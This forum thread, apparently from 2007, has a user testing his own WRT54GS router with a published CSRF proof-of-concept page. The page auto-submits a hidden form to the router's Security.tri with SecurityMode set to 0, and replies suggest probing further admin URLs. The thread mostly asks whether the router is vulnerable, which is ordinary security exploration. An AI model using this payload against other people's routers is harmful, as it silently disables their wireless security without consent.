/    Sign up×
Community /Pin to ProfileBookmark

router security threat? opinions please…

hiya all, I’m looking at the security on my router, and think I may have found a chink in its armour!

Unfortunately I know not much about javascript and would like some opinions of seasoned javascript guys n gals to tell me whether there is anything worth concerning myself about here.

I first sent a request over the router for this page (actually it was held locally, but the router returned some odd stuff, see later) :-

<html>

<head><title>BID 19347 specially-crafted html page – vuln found by
Ginsu Rabbit</title></head>

<body>

<form action=”http://192.168.1.1/Security.tri” method=”POST”>
<input type=”hidden” name=”SecurityMode” value=”0″>
<input type=”hidden” name=”layout” value=”en”>
</form>

<script>document.forms[0].submit();</script>

</body>
</html>

as you can see in the source, someone else wrote it ? the original had a line

<form action=”http://192.168.0.1/Security.tri” method=”POST”>

note I changed a 0 to a 1 because the original i.p. didn’t match the i.p. my router reported, anyway, once it was requested, rather than the usual server error page, I got sent to one named “security.tri”, the server requested name and password as usual, but leaving blank, pressing enter and looking at the source of the following page gave me this…

<html>
<head>
<meta http-equiv=”expires” content=”0″>
<meta http-equiv=”cache-control” content=”no-cache”>
<meta http-equiv=”pragma” content=”no-cache”>

<meta http-equiv=Content-Type content=”text/html; charset=iso-8859-1″>

<SCRIPT language=”javascript” type=”text/javascript” src=”share.js”></SCRIPT>
<SCRIPT language=JavaScript>

var submit_button = ‘WSecurity.htm’;

function to_submit()
{
if(submit_button == “”){
history.go(-1);
}
else if(submit_button == “WL_WEPTable.asp”){
self.close();
}
else if(submit_button == “FacdefClose”){
self.close();
}
else
location.replace(submit_button);
/*document.location.href = submit_button;*/
}
function init()
{
document.forms[0].action.value=sbutton.continue1;
if(submit_button == “”){
document.apply.action.value =sbutton.continue1;
}
else if(submit_button == “WL_WEPTable.asp”){
document.apply.action.value =sbutton.continue1;
}
else if(submit_button == “FacdefClose”){
document.apply.action.value =sbutton.close;
}
else
document.apply.action.value =sbutton.continue1;
}
function Capture(obj)
{
document.write(obj);
}
</SCRIPT>
</head>
<body bgcolor=”black” onload=init()>
<FORM name=apply method=post>
<center><table BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH=557 >
<tr BGCOLOR=”white”>

<th HEIGHT=400><font face=”Verdana” size=4 color=”black”><script>Capture(other.setsuc)</script></font>
<p><p>
<script language=”javascript”>
document.write(“<input type=’button’ name=’action’ OnClick=to_submit() value=”+sbutton.continue1+”>”)
</script>
</th>
</tr>
</table></center>
</form>
</body>

Now, I don’t, as I mentioned i think, I don’t know much javascript, however, would anyone with a decent knowledge of javascript be able to use this unusual page to gain, say, control of the router?

I await with interest the views and opinions of some wise javascript gurus ?

the router in question is a wrt54gs if that is any help ?

thanks in advance

dave

to post a comment
JavaScript

3 Comments(s)

Copy linkTweet thisAlerts:
@toicontienApr 13.2007 — Try the following URLs then:

http://192.168.0.1/WL_WEPTable.asp

http://192.168.0.1/WSecurity.htm

If you are logged out of you router, do those pages display anything? Also, I don't know what the http://192.168.0.1/share.js file has in it either.
Copy linkTweet thisAlerts:
@daveoilyauthorApr 14.2007 — thanks toicontien,

I tried those urls including the share.js (with 192.168.1.1 instead as that is the reported i.p.) and in each case it asked for the username and password, when these weren't supplied, i got bumped to the error page, is that it then? have I reached as far as I can go down this route?

just had a little idea, will have a look and see if a minor alteration of the html can fetch back the urls that you suggested...
Copy linkTweet thisAlerts:
@daveoilyauthorApr 14.2007 — ok, so that didn't work either....

looking like it's just a page that isn't really supposed to be accessible but doesn't contain anything of use to the would be attacker, unless anyone else can think of something ?

its a netgear router b.t.w.

Also I think I read somewhere that it uses some form of linux if that gives anyone any clues...
×

Success!

Help @daveoily spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 6.13,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @meenaratha,
tipped: article
amount: 1000 SATS,

tipper: @meenaratha,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,
)...